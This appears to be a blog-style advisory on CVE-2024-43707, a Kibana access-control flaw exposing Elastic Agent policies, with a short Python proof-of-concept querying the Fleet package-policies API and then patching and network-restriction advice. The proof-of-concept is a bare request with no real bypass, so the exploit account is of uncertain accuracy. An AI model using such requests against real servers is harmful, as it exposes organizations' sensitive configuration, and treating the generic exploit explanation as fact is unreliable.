A recently discovered security vulnerability in Kibana with the designation CVE-2024-43707 has put many organizations that use the Elastic Stack at risk. This vulnerability allows unauthorized users to view Elastic Agent policies even if they do not have access to Fleet. The policies could contain sensitive information, which depends on the integrations enabled for the Elastic Agent and their respective versions. This article aims to delve deeper into the details of this vulnerability, how it can be exploited, sample code snippets, links to the original references, and possible solutions to fix the issue.

Details of the Vulnerability

The vulnerability results from improper access controls for Elastic Agent policies within Kibana, which is part of the Elastic Stack. Unauthorized users who do not have the necessary permissions to access Fleet may still be able to view Elastic Agent policies using a specially-crafted request. As a result, they could potentially gain access to sensitive information.

Exploiting the Issue

To exploit this vulnerability, an attacker can craft an HTTP request to Kibana that includes the Elastic Agent policy's URL. This request bypasses the normal access control mechanisms in Kibana, allowing the attacker to view the policy without needing permissions to access Fleet.

Below is a code snippet demonstrating a possible exploitation using Python

import requests

kibana_base_url = "https://kibana.example.com";
policy_id = "your-target-policy-id"
headers = {"Accept": "application/json"}

url = f"{kibana_base_url}/api/fleet/package_policies/{policy_id}"
response = requests.get(url, headers=headers, verify=False)

if response.status_code == 200:
    print(f"Elastic Agent policy for id {policy_id}:")
    print(response.json())
else:
    print(f"Failed to access Elastic Agent policy for id {policy_id}")

This Python script sends an HTTP GET request to the Kibana server, attempting to retrieve the Elastic Agent policy for the given policy ID. If the request succeeds, the script will print the policy's contents, potentially revealing sensitive information.

Original References

For more information about CVE-2024-43707, you can refer to the official disclosure from the Elastic team:

- Elastic Security Announcement

Additionally, the National Vulnerability Database provides further details about the vulnerability, including its impact, affected versions, and possible mitigations.

Mitigating the Vulnerability

To address this issue, the Elastic team has released a security update for Kibana. It is highly recommended that you apply this update as soon as possible to eliminate the risk of unauthorized access to Elastic Agent policies. You can download the latest fixed version of Kibana from the official Elastic downloads page.

If you are unable to apply the update immediately, you can consider restricting access to the Kibana server using external access control mechanisms. This could involve configuring your firewall, proxy server, or network segmentation to limit who can access the Kibana server.

Conclusion

CVE-2024-43707 is a serious vulnerability in Kibana that allows unauthorized users to view Elastic Agent policies containing potentially sensitive information. This issue highlights the importance of consistently monitoring and updating your software to protect against newly discovered security vulnerabilities. Organizations utilizing the Elastic Stack should take immediate action to mitigate the risk posed by this vulnerability and apply the latest security updates from Elastic.

Timeline

Published on: 01/23/2025 06:15:27 UTC